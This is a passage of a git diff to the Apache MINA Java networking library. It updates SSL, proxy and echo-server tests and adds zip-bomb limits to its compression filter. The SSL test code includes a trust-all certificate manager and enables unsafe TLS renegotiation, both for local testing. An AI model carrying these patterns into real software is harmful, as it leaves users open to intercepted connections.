@Ignore public void testTCPWithSSL() throws Exception { useSSL = true; // Create a connector IoConnector connector = new NioSocketConnector(); // Add an SSL filter to connector - connector.getFilterChain().addLast("SSL", connectorSSLFilter); + connector.getFilterChain().addLast("SSL", connectorSslFilter); testConnector(connector); } @@ -109,27 +109,19 @@ private void testConnector(IoConnector connector) throws Exception { private void testConnector(IoConnector connector, boolean useLocalAddress) throws Exception { IoSession session = null; + if (!useLocalAddress) { ConnectFuture future = connector.connect(new InetSocketAddress( - "127.0.0.1", port)); + InetAddress.getByName(null), port)); future.awaitUninterruptibly(); session = future.getSession(); } else { - int clientPort = port; - for (int i = 0; i < 65536; i++) { - clientPort = AvailablePortFinder - .getNextAvailable(clientPort + 1); - try { - ConnectFuture future = connector.connect( - new InetSocketAddress("127.0.0.1", port), - new InetSocketAddress(clientPort)); - future.awaitUninterruptibly(); - session = future.getSession(); - break; - } catch (RuntimeIoException e) { - // Try again until we succeed to bind. - } - } + int clientPort = AvailablePortFinder.getNextAvailable(); + ConnectFuture future = connector.connect( + new InetSocketAddress(InetAddress.getByName(null), port), + new InetSocketAddress(clientPort)); + future.awaitUninterruptibly(); + session = future.getSession(); if (session == null) { fail("Failed to find out an appropriate local address."); @@ -141,7 +133,7 @@ private void testConnector(IoConnector connector, boolean useLocalAddress) // Send closeNotify to test TLS closure if it is TLS connection. if (useSSL) { - connectorSSLFilter.stopSsl(session).awaitUninterruptibly(); + session.getFilterChain().remove("SSL"); System.out .println("-------------------------------------------------------------------------------"); @@ -167,11 +159,11 @@ private void testConnector(IoConnector connector, boolean useLocalAddress) assertEquals((byte) '.', handler.readBuf.get()); // Now start TLS connection - assertTrue(connectorSSLFilter.startSsl(session)); + session.getFilterChain().addFirst("SSL", connectorSslFilter); testConnector0(session); } - session.close(true).awaitUninterruptibly(); + session.closeNow().awaitUninterruptibly(); } private void testConnector0(IoSession session) throws InterruptedException { @@ -180,6 +172,7 @@ private void testConnector0(IoSession session) throws InterruptedException { IoBuffer readBuf = handler.readBuf; readBuf.clear(); WriteFuture writeFuture = null; + for (int i = 0; i < COUNT; i++) { IoBuffer buf = IoBuffer.allocate(DATA_SIZE); buf.limit(DATA_SIZE); diff --git a/mina-example/src/test/java/org/apache/mina/example/echoserver/ssl/SslFilterTest.java b/mina-example/src/test/java/org/apache/mina/example/echoserver/ssl/SslFilterTest.java index 2291aec9fa..8e2365d836 100644 --- a/mina-example/src/test/java/org/apache/mina/example/echoserver/ssl/SslFilterTest.java +++ b/mina-example/src/test/java/org/apache/mina/example/echoserver/ssl/SslFilterTest.java @@ -22,15 +22,18 @@ import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; import java.net.InetSocketAddress; import java.net.Socket; -import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import java.security.cert.CertificateException; import java.util.ArrayList; import java.util.List; import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSocket; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; @@ -77,42 +80,46 @@ public void testMessageSentIsCalled_With_SSL() throws Exception { } private void testMessageSentIsCalled(boolean useSSL) throws Exception { - // Workaround to fix TLS issue : http://java.sun.com/javase/javaseforbusiness/docs/TLSReadme.html - java.lang.System.setProperty( "sun.security.ssl.allowUnsafeRenegotiation", "true" ); + // Workaround to fix TLS issue : + // http://java.sun.com/javase/javaseforbusiness/docs/TLSReadme.html + java.lang.System.setProperty("sun.security.ssl.allowUnsafeRenegotiation", "true"); SslFilter sslFilter = null; if (useSSL) { - sslFilter = new SslFilter(BogusSslContextFactory.getInstance(true)); + sslFilter = new SslFilter(BogusSSLContextFactory.getInstance(true)); acceptor.getFilterChain().addLast("sslFilter", sslFilter); } - acceptor.getFilterChain().addLast( - "codec", - new ProtocolCodecFilter(new TextLineCodecFactory(Charset - .forName("UTF-8")))); + acceptor.getFilterChain().addLast("codec", + new ProtocolCodecFilter(new TextLineCodecFactory(StandardCharsets.UTF_8))); EchoHandler handler = new EchoHandler(); acceptor.setHandler(handler); acceptor.bind(new InetSocketAddress(0)); port = acceptor.getLocalAddress().getPort(); - //System.out.println("MINA server started."); + // System.out.println("MINA server started."); Socket socket = getClientSocket(useSSL); - int bytesSent = 0; - bytesSent += writeMessage(socket, "test-1\n"); + BufferedWriter output = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())); + BufferedReader input = new BufferedReader(new InputStreamReader(socket.getInputStream())); + + output.write("test-1\n"); + output.flush(); + + assert input.readLine().equals("test-1"); + + /* Commented, we don't support TLS renegociation anymore if (useSSL) { // Test renegotiation SSLSocket ss = (SSLSocket) socket; - //ss.getSession().invalidate(); + // ss.getSession().invalidate(); ss.startHandshake(); } - bytesSent += writeMessage(socket, "test-2\n"); + output.write("test-2\n"); + output.flush(); - int[] response = new int[bytesSent]; - for (int i = 0; i < response.length; i++) { - response[i] = socket.getInputStream().read(); - } + assert input.readLine().equals("test-2"); if (useSSL) { // Read SSL close notify. @@ -120,28 +127,28 @@ private void testMessageSentIsCalled(boolean useSSL) throws Exception { continue; } } + */ socket.close(); + while (acceptor.getManagedSessions().size() != 0) { Thread.sleep(100); } - //System.out.println("handler: " + handler.sentMessages); - assertEquals("handler should have sent 2 messages:", 2, - handler.sentMessages.size()); + assertEquals("handler should have sent 1 messages:", 1, handler.sentMessages.size()); + assertEquals("All scheduled write messages should be cleared", 0, acceptor.getScheduledWriteMessages()); assertTrue(handler.sentMessages.contains("test-1")); - assertTrue(handler.sentMessages.contains("test-2")); } private int writeMessage(Socket socket, String message) throws Exception { - byte request[] = message.getBytes("UTF-8"); + byte request[] = message.getBytes(StandardCharsets.UTF_8); socket.getOutputStream().write(request); return request.length; } private Socket getClientSocket(boolean ssl) throws Exception { if (ssl) { - SSLContext ctx = SSLContext.getInstance("TLS"); + SSLContext ctx = SSLContext.getInstance("TLSv1.3"); ctx.init(null, trustManagers, null); return ctx.getSocketFactory().createSocket("localhost", port); } @@ -150,41 +157,32 @@ private Socket getClientSocket(boolean ssl) throws Exception { private static class EchoHandler extends IoHandlerAdapter { - List sentMessages = new ArrayList(); + List sentMessages = new ArrayList<>(); @Override - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { - //cause.printStackTrace(); + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + // cause.printStackTrace(); } @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { session.write(message); } @Override - public void messageSent(IoSession session, Object message) - throws Exception { + public void messageSent(IoSession session, Object message) throws Exception { sentMessages.add(message.toString()); - - if (sentMessages.size() >= 2) { - session.close(true); - } } } TrustManager[] trustManagers = new TrustManager[] { new TrustAnyone() }; private static class TrustAnyone implements X509TrustManager { - public void checkClientTrusted( - java.security.cert.X509Certificate[] x509Certificates, String s) + public void checkClientTrusted(java.security.cert.X509Certificate[] x509Certificates, String s) throws CertificateException { } - public void checkServerTrusted( - java.security.cert.X509Certificate[] x509Certificates, String s) + public void checkServerTrusted(java.security.cert.X509Certificate[] x509Certificates, String s) throws CertificateException { } diff --git a/mina-example/src/test/java/org/apache/mina/example/proxy/ClientSessionHandler.java b/mina-example/src/test/java/org/apache/mina/example/proxy/ClientSessionHandler.java index ccd41d242a..3201d341a8 100644 --- a/mina-example/src/test/java/org/apache/mina/example/proxy/ClientSessionHandler.java +++ b/mina-example/src/test/java/org/apache/mina/example/proxy/ClientSessionHandler.java @@ -161,6 +161,6 @@ public void sessionIdle(IoSession session, IdleStatus status) public void exceptionCaught(IoSession session, Throwable cause) { logger.debug("CLIENT - Exception caught"); //cause.printStackTrace(); - session.close(true); + session.closeNow(); } } \ No newline at end of file diff --git a/mina-example/src/test/java/org/apache/mina/example/proxy/ProxyTestClient.java b/mina-example/src/test/java/org/apache/mina/example/proxy/ProxyTestClient.java index b913deee74..1dcf7e3871 100644 --- a/mina-example/src/test/java/org/apache/mina/example/proxy/ProxyTestClient.java +++ b/mina-example/src/test/java/org/apache/mina/example/proxy/ProxyTestClient.java @@ -21,7 +21,6 @@ import java.net.InetSocketAddress; import java.net.URL; -import java.security.Security; import java.util.ArrayList; import java.util.HashMap; import java.util.List; @@ -39,7 +38,6 @@ import org.apache.mina.proxy.handlers.socks.SocksProxyConstants; import org.apache.mina.proxy.handlers.socks.SocksProxyRequest; import org.apache.mina.proxy.session.ProxyIoSession; -import org.apache.mina.proxy.utils.MD4Provider; import org.apache.mina.transport.socket.nio.NioSocketConnector; /** @@ -79,15 +77,6 @@ public class ProxyTestClient { */ private final static boolean USE_HTTP_1_1 = false; - /** - * NTLM proxy authentication needs a JCE provider that handles MD4 hashing. - */ - static { - if (Security.getProvider("MINA") == null) { - Security.addProvider(new MD4Provider()); - } - } - /** * Creates a connection to the endpoint through a proxy server using the specified * authentication method. @@ -158,7 +147,7 @@ public ProxyTestClient(String[] args) throws Exception { // Tests modifying authentication order preferences. First algorithm in list available on server // will be used for authentication. - List l = new ArrayList(); + List l = new ArrayList<>(); l.add(HttpAuthenticationMethods.DIGEST); l.add(HttpAuthenticationMethods.BASIC); proxyIoSession.setPreferedOrder(l); @@ -207,7 +196,7 @@ public ProxyTestClient(String[] args) throws Exception { */ private HttpProxyRequest createHttpProxyRequest(String uri) { HttpProxyRequest req = new HttpProxyRequest(uri); - HashMap props = new HashMap(); + HashMap props = new HashMap<>(); props.put(HttpProxyConstants.USER_PROPERTY, USER); props.put(HttpProxyConstants.PWD_PROPERTY, PWD); props.put(HttpProxyConstants.DOMAIN_PROPERTY, DOMAIN); @@ -227,4 +216,4 @@ private HttpProxyRequest createHttpProxyRequest(String uri) { public static void main(String[] args) throws Exception { new ProxyTestClient(args); } -} \ No newline at end of file +} diff --git a/mina-example/src/test/java/org/apache/mina/example/proxy/telnet/ProxyTelnetTestClient.java b/mina-example/src/test/java/org/apache/mina/example/proxy/telnet/ProxyTelnetTestClient.java index 01c1282817..cb26d92806 100644 --- a/mina-example/src/test/java/org/apache/mina/example/proxy/telnet/ProxyTelnetTestClient.java +++ b/mina-example/src/test/java/org/apache/mina/example/proxy/telnet/ProxyTelnetTestClient.java @@ -21,6 +21,7 @@ import java.net.InetSocketAddress; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import java.util.HashMap; import org.apache.mina.core.RuntimeIoException; @@ -89,7 +90,7 @@ public ProxyTelnetTestClient() throws Exception { */ HttpProxyRequest req = new HttpProxyRequest(serverAddress); - HashMap props = new HashMap(); + HashMap props = new HashMap<>(); props.put(HttpProxyConstants.USER_PROPERTY, USER); props.put(HttpProxyConstants.PWD_PROPERTY, PWD); req.setProperties(props); @@ -100,8 +101,7 @@ public ProxyTelnetTestClient() throws Exception { LineDelimiter delim = new LineDelimiter("\r\n"); targetConnector.getFilterChain().addLast( "codec", - new ProtocolCodecFilter(new TextLineCodecFactory(Charset - .forName("UTF-8"), delim, delim))); + new ProtocolCodecFilter(new TextLineCodecFactory(StandardCharsets.UTF_8, delim, delim))); connector.setHandler(new TelnetSessionHandler()); diff --git a/mina-example/src/test/java/org/apache/mina/example/proxy/telnet/TelnetSessionHandler.java b/mina-example/src/test/java/org/apache/mina/example/proxy/telnet/TelnetSessionHandler.java index 4b27708f34..0c5541ad02 100644 --- a/mina-example/src/test/java/org/apache/mina/example/proxy/telnet/TelnetSessionHandler.java +++ b/mina-example/src/test/java/org/apache/mina/example/proxy/telnet/TelnetSessionHandler.java @@ -75,7 +75,7 @@ public void run() { } } - _session.close(true); + _session.closeNow(); } }).start(); @@ -104,6 +104,6 @@ public void sessionClosed(IoSession session) throws Exception { public void exceptionCaught(IoSession session, Throwable cause) { logger.debug("CLIENT - Exception caught"); //cause.printStackTrace(); - session.close(true); + session.closeNow(); } } \ No newline at end of file diff --git a/mina-example/src/test/resources/log4j.properties b/mina-example/src/test/resources/log4j.properties index 0ccec9541e..06642c9f20 100644 --- a/mina-example/src/test/resources/log4j.properties +++ b/mina-example/src/test/resources/log4j.properties @@ -20,6 +20,6 @@ log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=[%d{HH:mm:ss}] %p [%c] - %m%n -log4j.logger.org.apache.mina.filter.ssl.SslFilter=ERROR -log4j.logger.org.apache.mina.filter.ssl.SslHandler=ERROR +log4j.logger.org.apache.mina.filter.ssl.SSLFilter=ERROR +log4j.logger.org.apache.mina.filter.ssl.SSLHandler=ERROR diff --git a/mina-filter-compression/pom.xml b/mina-filter-compression/pom.xml old mode 100755 new mode 100644 index 7f4bfe2f9f..7e3dc12495 --- a/mina-filter-compression/pom.xml +++ b/mina-filter-compression/pom.xml @@ -24,17 +24,13 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-filter-compression Apache MINA Compression Filter bundle - - ${project.groupId}.filter.compression - - ${project.groupId} @@ -49,9 +45,38 @@ - org.easymock - easymock + org.mockito + mockito-core + + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.filter.compression + + org.apache.mina.filter.compression;version=${project.version};-noimport:=true + + + org.apache.mina.core.buffer;version=${project.version}, + org.apache.mina.core.filterchain;version=${project.version}, + org.apache.mina.core.session;version=${project.version}, + org.apache.mina.core.write;version=${project.version}, + org.apache.mina.filter.util;version=${project.version}, + com.jcraft.jzlib;version=${version.jzlib}, + org.slf4j;version=${osgi-min-version.slf4j.api} + + + + + + diff --git a/mina-filter-compression/src/main/java/org/apache/mina/filter/compression/CompressionFilter.java b/mina-filter-compression/src/main/java/org/apache/mina/filter/compression/CompressionFilter.java old mode 100755 new mode 100644 index a0c4c0ed2c..2bafd0f3a0 --- a/mina-filter-compression/src/main/java/org/apache/mina/filter/compression/CompressionFilter.java +++ b/mina-filter-compression/src/main/java/org/apache/mina/filter/compression/CompressionFilter.java @@ -23,18 +23,18 @@ import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.filterchain.IoFilter; +import org.apache.mina.core.filterchain.IoFilterAdapter; import org.apache.mina.core.filterchain.IoFilterChain; import org.apache.mina.core.session.AttributeKey; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; -import org.apache.mina.filter.util.WriteRequestFilter; /** * An {@link IoFilter} which compresses all data using * JZlib. * Support for the LZW (DLCZ) algorithm is also planned. *

    - * This filter only supports compression using the PARTIAL FLUSH method, + * This filter only supports compression using the PARTIAL FLUSH method, * since that is the only method useful when doing stream level compression. *

    * This filter supports compression/decompression of the input and output @@ -52,10 +52,15 @@ *

    * It goes without saying that the other end of this stream should also have a * compatible compressor/decompressor using the same algorithm. + *

    + * Note: a inflater limit has been added to protect the application from ZBomb + * (a compressed buffer that when inflated will create a giant buffer). + * It can be set using the CompressionFilter constructor, passing a forth argument + * with the expected limit. * * @author Apache MINA Project */ -public class CompressionFilter extends WriteRequestFilter { +public class CompressionFilter extends IoFilterAdapter { /** * Max compression level. Will give the highest compression ratio, but * will also take more cpu time and is the slowest. @@ -91,7 +96,8 @@ public class CompressionFilter extends WriteRequestFilter { /** * A flag that allows you to disable compression once. */ - public static final AttributeKey DISABLE_COMPRESSION_ONCE = new AttributeKey(CompressionFilter.class, "disableOnce"); + public static final AttributeKey DISABLE_COMPRESSION_ONCE = + new AttributeKey(CompressionFilter.class, "disableOnce"); private boolean compressInbound = true; @@ -99,17 +105,27 @@ public class CompressionFilter extends WriteRequestFilter { private int compressionLevel; + /** The maximum decompressed size, to avoid an OOM. Default to 1Mb */ + private int maxDecompressedSize; + + /** Maximum decompression ratio **/ + private long maxDecompressRatio; + + /** Grace size before decompression ratio check is enforced **/ + private long decompressRatioMinSize; + /** * Creates a new instance which compresses outboud data and decompresses * inbound data with default compression level. */ public CompressionFilter() { - this(true, true, COMPRESSION_DEFAULT); + this(true, true, COMPRESSION_DEFAULT, Zlib.MAX_DECOMPRESSED_SIZE, Zlib.MAX_DECOMPRESS_RATIO, + Zlib.DECOMPRESS_RATIO_MIN_SIZE); } /** * Creates a new instance which compresses outboud data and decompresses - * inbound data with the specified compressionLevel. + * inbound data with the specified compressionLevel. * * @param compressionLevel the level of compression to be used. Must * be one of {@link #COMPRESSION_DEFAULT}, @@ -118,52 +134,117 @@ public CompressionFilter() { * {@link #COMPRESSION_NONE}. */ public CompressionFilter(final int compressionLevel) { - this(true, true, compressionLevel); + this(true, true, compressionLevel, Zlib.MAX_DECOMPRESSED_SIZE, Zlib.MAX_DECOMPRESS_RATIO, + Zlib.DECOMPRESS_RATIO_MIN_SIZE); } /** * Creates a new instance. * - * @param compressInbound true if data read is to be decompressed - * @param compressOutbound true if data written is to be compressed + * @param compressInbound true if data read is to be decompressed + * @param compressOutbound true if data written is to be compressed * @param compressionLevel the level of compression to be used. Must * be one of {@link #COMPRESSION_DEFAULT}, * {@link #COMPRESSION_MAX}, * {@link #COMPRESSION_MIN}, and * {@link #COMPRESSION_NONE}. */ - public CompressionFilter(final boolean compressInbound, - final boolean compressOutbound, final int compressionLevel) { + public CompressionFilter(final boolean compressInbound, final boolean compressOutbound, + final int compressionLevel) { + this(compressInbound, compressOutbound, compressionLevel, Zlib.MAX_DECOMPRESSED_SIZE, + Zlib.MAX_DECOMPRESS_RATIO, Zlib.DECOMPRESS_RATIO_MIN_SIZE); + } + + /** + * Creates a new instance. + *

    + * Use this constructor if you want to set a limit to the inflated buffer size. + * + * @param compressInbound true if data read is to be decompressed + * @param compressOutbound true if data written is to be compressed + * @param compressionLevel the level of compression to be used. Must + * be one of {@link #COMPRESSION_DEFAULT}, + * {@link #COMPRESSION_MAX}, + * {@link #COMPRESSION_MIN}, and + * {@link #COMPRESSION_NONE}. + * @param maxDecompressedSize The maximum size for a buffer when inflating some data + * @since 2.2.8 + */ + public CompressionFilter(final boolean compressInbound, final boolean compressOutbound, + final int compressionLevel, final int maxDecompressedSize) { + this(compressInbound, compressOutbound, compressionLevel, maxDecompressedSize, Zlib.MAX_DECOMPRESS_RATIO, + Zlib.DECOMPRESS_RATIO_MIN_SIZE); + } + + /** + * Creates a new instance with explicit zip-bomb protection parameters. + * + * @param compressInbound true if data read is to be decompressed + * @param compressOutbound true if data written is to be compressed + * @param compressionLevel the level of compression to be used. Must + * be one of {@link #COMPRESSION_DEFAULT}, + * {@link #COMPRESSION_MAX}, + * {@link #COMPRESSION_MIN}, and + * {@link #COMPRESSION_NONE}. + * @param maxDecompressedSize the maximum size for a buffer when inflating data + * @param maxDecompressRatio the maximum allowed cumulative ratio of + * decompressed to compressed bytes. + * A value <= 0 disables the check. + * @param decompressRatioMinSize the minimum cumulative decompressed size + * below which the ratio check is skipped. + * @since 2.2.8 + */ + public CompressionFilter(final boolean compressInbound, final boolean compressOutbound, + final int compressionLevel, final int maxDecompressedSize, + final long maxDecompressRatio, final long decompressRatioMinSize) { this.compressionLevel = compressionLevel; this.compressInbound = compressInbound; this.compressOutbound = compressOutbound; + this.maxDecompressedSize = maxDecompressedSize; + this.maxDecompressRatio = maxDecompressRatio; + this.decompressRatioMinSize = decompressRatioMinSize; } + + /** + * {@inheritDoc} + */ @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { + Object compressedMessage = doFilterWrite(nextFilter, session, writeRequest); + + if (compressedMessage != null && compressedMessage != writeRequest.getMessage()) { + writeRequest.setMessage( compressedMessage ); + } + + nextFilter.filterWrite(session, writeRequest); + } + + @Override + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { if (!compressInbound || !(message instanceof IoBuffer)) { nextFilter.messageReceived(session, message); return; } Zlib inflater = (Zlib) session.getAttribute(INFLATER); + if (inflater == null) { throw new IllegalStateException(); } IoBuffer inBuffer = (IoBuffer) message; - IoBuffer outBuffer = inflater.inflate(inBuffer); - nextFilter.messageReceived(session, outBuffer); + nextFilter.messageReceived(session, inflater.inflate(inBuffer)); } - + /* - * @see org.apache.mina.core.IoFilter#filterWrite(org.apache.mina.core.IoFilter.NextFilter, org.apache.mina.core.IoSession, org.apache.mina.core.IoFilter.WriteRequest) + * @see org.apache.mina.core.IoFilter#filterWrite( + * org.apache.mina.core.IoFilter.NextFilter, + * org.apache.mina.core.IoSession, + * org.apache.mina.core.IoFilter.WriteRequest) */ - @Override - protected Object doFilterWrite( - NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws IOException { + protected Object doFilterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) + throws IOException { if (!compressOutbound) { return null; } @@ -175,11 +256,13 @@ protected Object doFilterWrite( } Zlib deflater = (Zlib) session.getAttribute(DEFLATER); + if (deflater == null) { throw new IllegalStateException(); } IoBuffer inBuffer = (IoBuffer) writeRequest.getMessage(); + if (!inBuffer.hasRemaining()) { // Ignore empty buffers return null; @@ -189,15 +272,15 @@ protected Object doFilterWrite( } @Override - public void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + public void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { if (parent.contains(CompressionFilter.class)) { - throw new IllegalStateException( - "Only one " + CompressionFilter.class + " is permitted."); + throw new IllegalStateException("Only one " + CompressionFilter.class + " is permitted."); } - Zlib deflater = new Zlib(compressionLevel, Zlib.MODE_DEFLATER); - Zlib inflater = new Zlib(compressionLevel, Zlib.MODE_INFLATER); + Zlib deflater = new Zlib(compressionLevel, Zlib.MODE_DEFLATER, maxDecompressedSize, + maxDecompressRatio, decompressRatioMinSize); + Zlib inflater = new Zlib(compressionLevel, Zlib.MODE_INFLATER, maxDecompressedSize, + maxDecompressRatio, decompressRatioMinSize); IoSession session = parent.getSession(); @@ -206,7 +289,65 @@ public void onPreAdd(IoFilterChain parent, String name, } /** - * Returns true if incoming data is being compressed. + * Set the compression level. On of: + *

      + *
    • Zlib.COMPRESSION_DEFAULT (-1)
    • + *
    • Zlib.COMPRESSION_NONE (0)
    • + *
    • Zlib.COMPRESSION_MIN (1)
    • + *
    • Zlib.COMPRESSION_MAX (9)
    • + *
    + * + * @param compressionLevel The compression level to set + * @return The CompressionFilter instance + */ + public CompressionFilter setCompressionLevel(int compressionLevel) { + this.compressionLevel = compressionLevel; + + return this; + } + + /** + * Set The maximum decompressed size, to avoid an OOM. Default to 1Mb + * + * @param maxDecompressedSize The maximum decompressed size + * @return The CompressionFilter instance + */ + public CompressionFilter setMaxDecompressedSize(int maxDecompressedSize) { + this.maxDecompressedSize = maxDecompressedSize; + + return this; + } + + /** + * Grace size before decompression ratio check is enforced. Default to 1Mb. + * + * @param decompressRatioMinSize The maximum decompressed size before the ratio is checked + * @return The CompressionFilter instance + */ + public CompressionFilter setDecompressRatioMinSize(long decompressRatioMinSize) { + this.decompressRatioMinSize = decompressRatioMinSize; + + return this; + } + + /** + * Set the max allowed compression ratio. If the inflated buffer exceed this ratio, + * an error will be generated. Note that the decompressRatioMinSize parameter + * can be used to avoid bailing out for small inflated files with a high compression ratio. + * + * @param maxDecompressRatio The maximum allowed compression ratio. Defaults to 100. + * @return The CompressionFilter instance + */ + public CompressionFilter setMaxDecompressRatio(long maxDecompressRatio) { + this.maxDecompressRatio = maxDecompressRatio; + + return this; + } + + /** + * Tells if the incoming data is being compressed or not + * + * @return true if incoming data is being compressed. */ public boolean isCompressInbound() { return compressInbound; @@ -214,13 +355,17 @@ public boolean isCompressInbound() { /** * Sets if incoming data has to be compressed. + * + * @param compressInbound true if the incoming data has to be compressed */ public void setCompressInbound(boolean compressInbound) { this.compressInbound = compressInbound; } /** - * Returns true if the filter is compressing data being written. + * Tell if if the filter compress the data + * + * @return true if the filter is compressing data being written. */ public boolean isCompressOutbound() { return compressOutbound; @@ -228,14 +373,15 @@ public boolean isCompressOutbound() { /** * Set if outgoing data has to be compressed. + * + * @param compressOutbound true if the outgoing data has to be compressed */ public void setCompressOutbound(boolean compressOutbound) { this.compressOutbound = compressOutbound; } @Override - public void onPostRemove(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + public void onPostRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { super.onPostRemove(parent, name, nextFilter); IoSession session = parent.getSession(); if (session == null) { diff --git a/mina-filter-compression/src/main/java/org/apache/mina/filter/compression/Zlib.java b/mina-filter-compression/src/main/java/org/apache/mina/filter/compression/Zlib.java old mode 100755 new mode 100644 index 6c0b1507c2..c78abe63b1 --- a/mina-filter-compression/src/main/java/org/apache/mina/filter/compression/Zlib.java +++ b/mina-filter-compression/src/main/java/org/apache/mina/filter/compression/Zlib.java @@ -29,7 +29,7 @@ /** * A helper class for interfacing with the JZlib library. This class acts both * as a compressor and decompressor, but only as one at a time. The only - * flush method supported is Z_SYNC_FLUSH also known as Z_PARTIAL_FLUSH + * flush method supported is Z_SYNC_FLUSH also known as Z_PARTIAL_FLUSH * * @author Apache MINA Project */ @@ -37,7 +37,7 @@ class Zlib { /** Try o get the best possible compression */ public static final int COMPRESSION_MAX = JZlib.Z_BEST_COMPRESSION; - /** Favor speed over compression ratio */ + /** Favor speed over compression ratio */ public static final int COMPRESSION_MIN = JZlib.Z_BEST_SPEED; /** No compression */ @@ -46,15 +46,40 @@ class Zlib { /** Default compression */ public static final int COMPRESSION_DEFAULT = JZlib.Z_DEFAULT_COMPRESSION; - /** Compression mode */ + /** Compression mode */ public static final int MODE_DEFLATER = 1; - /** Uncompress mode */ + /** Uncompress mode */ public static final int MODE_INFLATER = 2; /** The requested compression level */ private int compressionLevel; + /** The maximum size of an inflated buffer. Default to 1Mb */ + /* Package protected */ + static final int MAX_DECOMPRESSED_SIZE = Integer.MAX_VALUE; + + /** + * Default maximum decompression ratio (decompressed / compressed). + */ + /* Package protected */ + static final long MAX_DECOMPRESS_RATIO = 100L; + + /** + * Grace size before decompression ratio check is enforced. + * + *

    Below this threshold the check is skipped to avoid false positives on small payloads where framing/header + * overhead dominates the ratio.

    + */ + /* Package protected */ + static final long DECOMPRESS_RATIO_MIN_SIZE = 1024L * 1024L; + + private int maxDecompressedSize = MAX_DECOMPRESSED_SIZE; + + private long maxDecompressRatio = MAX_DECOMPRESS_RATIO; + + private long decompressRatioMinSize = DECOMPRESS_RATIO_MIN_SIZE; + /** The inner stream used to inflate or deflate the data */ private ZStream zStream = null; @@ -65,41 +90,67 @@ class Zlib { * Creates an instance of the ZLib class. * * @param compressionLevel the level of compression that should be used. One of - * COMPRESSION_MAX, COMPRESSION_MIN, - * COMPRESSION_NONE or COMPRESSION_DEFAULT + * COMPRESSION_MAX, COMPRESSION_MIN, + * COMPRESSION_NONE or COMPRESSION_DEFAULT * @param mode the mode in which the instance will operate. Can be either - * of MODE_DEFLATER or MODE_INFLATER + * of MODE_DEFLATER or MODE_INFLATER * @throws IllegalArgumentException if the mode is incorrect */ public Zlib(int compressionLevel, int mode) { + this(compressionLevel, mode, MAX_DECOMPRESSED_SIZE, MAX_DECOMPRESS_RATIO, DECOMPRESS_RATIO_MIN_SIZE); + } + + + /** + * Creates an instance of the ZLib class. + * + * @param compressionLevel the level of compression that should be used. One of + * COMPRESSION_MAX, COMPRESSION_MIN, + * COMPRESSION_NONE or COMPRESSION_DEFAULT + * @param mode the mode in which the instance will operate. Can be either + * of MODE_DEFLATER or MODE_INFLATER + * @param maxDecompressedSize the maximum inflation size for a buffer + * @param maxDecompressRatio the maximum allowed ratio of decompressed to + * compressed bytes, evaluated cumulatively over the lifetime of this + * inflater. A value <= 0 disables the check. + * @param decompressRatioMinSize the minimum cumulative decompressed size + * (in bytes) below which the ratio check is skipped. + * @throws IllegalArgumentException if the mode is incorrect + */ + public Zlib(int compressionLevel, int mode, int maxDecompressedSize, + long maxDecompressRatio, long decompressRatioMinSize) { switch (compressionLevel) { - case COMPRESSION_MAX: - case COMPRESSION_MIN: - case COMPRESSION_NONE: - case COMPRESSION_DEFAULT: - this.compressionLevel = compressionLevel; - break; - default: - throw new IllegalArgumentException( - "invalid compression level specified"); + case COMPRESSION_MAX: + case COMPRESSION_MIN: + case COMPRESSION_NONE: + case COMPRESSION_DEFAULT: + this.compressionLevel = compressionLevel; + break; + default: + throw new IllegalArgumentException("invalid compression level specified"); } // create a new instance of ZStream. This will be done only once. zStream = new ZStream(); switch (mode) { - case MODE_DEFLATER: - zStream.deflateInit(this.compressionLevel); - break; - case MODE_INFLATER: - zStream.inflateInit(); - break; - default: - throw new IllegalArgumentException("invalid mode specified"); + case MODE_DEFLATER: + zStream.deflateInit(this.compressionLevel); + break; + case MODE_INFLATER: + this.maxDecompressedSize = maxDecompressedSize; + this.maxDecompressRatio = maxDecompressRatio; + this.decompressRatioMinSize = decompressRatioMinSize; + zStream.inflateInit(); + break; + default: + throw new IllegalArgumentException("invalid mode specified"); } + this.mode = mode; } + /** * Uncompress the given buffer, returning it in a new buffer. * @@ -124,37 +175,47 @@ public IoBuffer inflate(IoBuffer inBuffer) throws IOException { IoBuffer outBuffer = IoBuffer.allocate(outBytes.length); outBuffer.setAutoExpand(true); - zStream.next_in = inBytes; - zStream.next_in_index = 0; - zStream.avail_in = inBytes.length; - zStream.next_out = outBytes; - zStream.next_out_index = 0; - zStream.avail_out = outBytes.length; - int retval = 0; - - do { - retval = zStream.inflate(JZlib.Z_SYNC_FLUSH); - switch (retval) { - case JZlib.Z_OK: - // completed decompression, lets copy data and get out - case JZlib.Z_BUF_ERROR: - // need more space for output. store current output and get more - outBuffer.put(outBytes, 0, zStream.next_out_index); - zStream.next_out_index = 0; - zStream.avail_out = outBytes.length; - break; - default: - // unknown error - outBuffer = null; - if (zStream.msg == null) { - throw new IOException("Unknown error. Error code : " - + retval); - } else { - throw new IOException("Unknown error. Error code : " - + retval + " 